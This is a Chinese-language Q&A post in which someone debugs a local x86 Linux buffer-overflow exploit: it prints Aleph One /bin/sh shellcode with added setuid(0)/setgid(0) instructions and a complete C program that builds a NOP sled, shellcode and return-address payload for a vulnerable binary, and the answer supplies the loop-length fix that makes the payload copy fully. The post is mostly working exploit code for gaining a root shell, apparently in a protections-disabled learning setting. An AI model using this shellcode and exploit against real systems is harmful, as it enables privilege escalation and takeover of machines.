为什么总是收到消息“非法指令(核心转储)”?

逆向工程 x86 linux 开发 缓冲区溢出
2021-06-29 07:00:45

我试图利用缓冲区溢出。在漏洞利用代码中,我使用了Aleph-Oneshellcode。

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

漏洞利用是正常的,但是我修改了一点shellcode为了执行setuid(0)setgid(0),在漏洞利用时我将漏洞利用的所有者更改为root.

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

在执行时,我收到消息 Illegal Instruction (core dumped)

注意

  1. 我已禁用 ASLR
  2. 易受攻击和漏洞利用程序使用标志编译 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

完整的漏洞利用代码:

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *prog = "./bof4";
char shellcode[] = 
   //"\xeb\x0appssssffff"
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv) {
    char buff[111];
    int i, j;
    int addr;

    if (argc > 1)
            sscanf(*(argv+1), "%x", &addr);
    else
            exit(0);
    for (i = 0; i < 35; i++) {
            *(buff+i) = 0x90;
    }
    for (j = 0; j < 45; j++, i++) {
            *(buff+i) = *(shellcode+j);
    }
    for (; i + 4 < 110; i += 4) {
            memcpy(buff+i, &addr, 4);
    }
    buff[108] = 0;
    fwrite(buff, strlen(buff), 1, stdout);
}

谁能解释一下?

1个回答

只是通过猜测你有核心转储并且可以肯定地检查它。

您的问题不是漏洞利用长度为 45 个字节,这是您在第二个循环中迭代的内容,现在当您添加更多代码 ( setuid(0)& setgid(0)) 时,循环刚刚在中间完成?

将第二个循环延长 16 并检查。

for (j = 0; j < 61; j++, i++) {
    *(buff+i) = *(shellcode+j);
}